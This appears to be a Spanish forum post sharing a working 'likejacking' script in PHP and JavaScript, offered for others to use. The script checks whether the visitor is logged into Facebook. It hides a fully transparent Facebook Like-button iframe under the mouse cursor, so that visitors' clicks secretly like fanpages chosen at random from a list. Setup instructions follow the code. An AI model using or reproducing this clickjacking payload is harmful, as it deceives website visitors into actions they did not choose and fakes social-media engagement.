Regalo este script porque está sin pulir, fue una idea que abandoné a medio hacer.
- Cuenta con posibilidad de filtrado por el idioma del navegador (por defecto Español, se pueden modificar, quitar y añadir distintos idiomas para cada tipo de fanpage).
- Detecta si está el usuario o no registrado en Facebook para mostrar o no el script.
- Rotación de fanpages aleatoria.
Insertar CODE, HTML o PHP:
<? $idioma = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); switch ($idioma){ case "es": ?>
<script type='text/javascript' src='http://code.jquery.com/jquery-1.7.2.min.js'></script>
<script type="text/javascript" src="https://www.facebook.com/people/Jens-Lübberstedt/1009310897" onload="set_test('facebook',1)" onerror="set_test('facebook',0)" async="async"></script>
<script type="text/javascript">function set_test(network, status){ if(status){ var iflag = 0; var icontainer = document.getElementById('megusta'); var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body; function mouseFollower(e){ if (window.event){ icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px'; icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px'; }else{icontainer.style.top = (e.pageY-5)+'px'; icontainer.style.left = (e.pageX-5)+'px'; }} document.onmousemove = function(e){ if (iflag == 0) {mouseFollower(e); }}}else{ alert("No logueado en Facebook "); }}</script>
<?php $TXT = "http://www.url.com/fanpages.txt"; ?>
<?php $megusta = file($TXT); $aleatorio = $megusta[array_rand($megusta)]; ?>
<div style='overflow: hidden; width: 10px; height: 12px; position: absolute; opacity: 0.0;' id='megusta'>
<iframe src='http://www.facebook.com/plugins/like.php?href=<?php echo $aleatorio; ?>' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:50px; height:23px;' allowTransparency='true'></iframe></div>
<? break; } ?>
Configuración:
Crea un archivo llamado fanpages.txt con una URL de fanpage/web por linea. Súbelo a tu hosting y configura la variable $TXT del script. Esto hará que las URL vayan rotando aleatoriamente.